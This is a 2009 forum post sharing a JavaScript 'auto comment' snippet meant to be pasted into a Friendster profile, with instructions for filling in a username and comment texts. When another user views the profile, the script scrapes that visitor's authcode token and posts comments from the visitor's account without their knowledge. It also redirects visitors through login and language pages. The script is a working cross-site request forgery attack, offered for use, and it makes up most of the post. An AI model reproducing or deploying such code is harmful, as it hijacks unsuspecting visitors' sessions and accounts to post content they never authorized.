redblood21
Number of posts : 58 Registration date : 2009-04-05 Age : 29 Location : pampanga
| Subject: Wvm auto comment Thu Apr 16, 2009 2:54 am | |
| here is the codes - Spoiler:
- Quote :
- (function(){
un='USERNAME HERE'; win=window; lh=(loc=location).hostname; oi=pageOwnerID; vi=pageViewerID; dm='http://www.friendster.com'; cAUTH=''; rComm=[]; rComm[rComm.length]='Auto comment 1'; rComm[rComm.length]='Auto comment 2'; rComm[rComm.length]='Auto comment 3'; rComm[rComm.length]='Auto comment 4'; rComm[rComm.length]='Auto comment 5'; if(!!vi||(vi.indexOf('')<0)){ if(lh.indexOf('profiles.friendster')>-1){ win.loc.href=[dm,'/setlang.php?lang=en-US&updatelang=1&next=',encodeURIComponent([dm,'/profiles/',un].join('')),'&cookie=1'].join(''); }else{ caUTH=function(d){ var c,f; c=/authcode"\s*value="([\da-z]*?)"/; f=new RegExp(c).exec(d); cAUTH=f?f[1]:''; try{ return c; }finally{ c=null; } }; autoComment=function(){ var a,b,c,d,e,f; try{ f=Math.floor(Math.random()*rComm.length); a=win.XMLHttpRequest?new XMLHttpRequest():new ActiveXObject('MSXML2.XMLHTTP'); e=1000-rComm.length; b=['&authcode=',cAUTH,'&postaction=submit&inputcount=',e,'&comment=',encodeURIComponent(rComm[f])].join(''); c='application/x-www-form-urlencoded'+('UTF-8'?';charset='+'UTF-8':''); d=b?b.length:0; a.open('POST',['/comments.php?uid=',oi].join(''),true); a.setRequestHeader('Content-type',c); a.setRequestHeader('Content-length',d); if(a.overrideMimeType&&(navigator.userAgent.match(/Gecko\/(\d{4})/)||[0,2005])[1]<2005){ a.setRequestHeader('Connection','close'); } a.send(b); }finally{ a=null; } }; if(vi.indexOf(oi)<0){ sendXMLHttpRequestText(['/comments.php?uid=',oi].join(''),'caUTH'); win.addEvent('domready',autoComment); } } }else if(!vi){ win.loc.href=[dm,'/login.php?next=',encodeURIComponent(dm,'/setlang.php?lang=en-US&updatelang=1'),'&next=',encodeURIComponent([dm,'/profiles/',un].join('')),'&cookie=1'].join(''); } })();
Put your username at USERNAME HERE part just edit Auto comment 1, Auto comment 2 & so on....HTML also allowed except for XSS To have an username go here :) http://www.friendster.com/editusername.php paste it into your js file credits to hidecodesgalore | |
|